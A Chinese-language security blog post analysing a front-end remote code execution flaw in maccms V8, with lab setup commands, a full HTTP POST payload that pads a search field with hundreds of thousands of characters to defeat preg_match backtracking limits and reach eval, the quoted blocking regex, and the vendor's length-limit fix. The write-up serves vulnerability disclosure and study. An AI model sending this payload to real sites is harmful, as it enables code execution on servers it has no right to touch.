maccmsV8前台RCE(preg_match绕过)

漏洞影响:maccms V8(非最新)

利用限制:使用了任意风格模板

通过如下命令可以搭建漏洞环境。

1
2
3
4
➜  html git clone https://github.com/magicblack/maccms8.git
cd maccms8
➜ maccms8 git:(master) git reset --hard 52b7e50171424410b4f852957697b8065f8aa3e7
➜ maccms8 git:(master) rm -rf inc/install.lock

接着访问 http://website/install.php 安装即可。安装好后,需要从网上下载模板( http://www.chhui.cn/sort/29 ),并登录后台设置使用模板。注意,默认模板 paody 无法触发漏洞。

1

攻击 payload 如下(50w个a,多少个a根据环境而异):

1
2
3
4
5
6
7
8
9
10
POST /index.php?m=vod-search HTTP/1.1
Host: website
Content-Length: 500037
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

wd=UNIONaaaa..aaaaa{if-A:die(md5(233))}{endif-A}

2

这个漏洞实际上就是很早以前的 maccms模板标签注入导致的RCE 漏洞。但是在官方修复后,攻击者又通过使用大字符串来使 preg_match 正则匹配失效,最终绕过 360_safe.php 中的正则,继续触发 eval 函数。

下面我们来看具体代码。我们搜索的字段,最终会经过 inc/common/360_safe3.php:StopAttack() 函数处理,该函数使用了 preg_match 函数校验数据合法性。然而 preg_match 函数在递归匹配时,是有一个阀值的(PHP5.3之前默认为10w,PHP5.3开始默认值为100w)。超过这个阀值,函数就会返回false导致正则失效,更详细的分析可以参考: PHP利用PCRE回溯次数限制绕过某些安全限制

3

POST数据过滤正则如下:

1
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|be\\(|eval\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover|eval)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|UNION([\s\S]*?)SELECT|SELECT|UPDATE|_get|_post|_request|_cookie|_server|eval|assert|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell_|base64_|file_|proc_|preg_|call_|ini_|\\{if|\\{else|:php|\\{|\\}|\\(|\\\|\\)";

官方已在2019年12月14日修复了该漏洞,我们来看官方的修复代码。这里官方直接对字符串长度进行了限制

4

虽然这里长度限制为小于52500,但是我们还是有几率使用5w字符攻击成功的。因为PHP官网下有人提出真实环境中可能只需要 pcre.recursion_limit 阀值的一半。

5

文章作者: Mochazz
文章链接: https://mochazz.github.io/2020/01/08/maccmsV8前台RCE(preg_match绕过)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog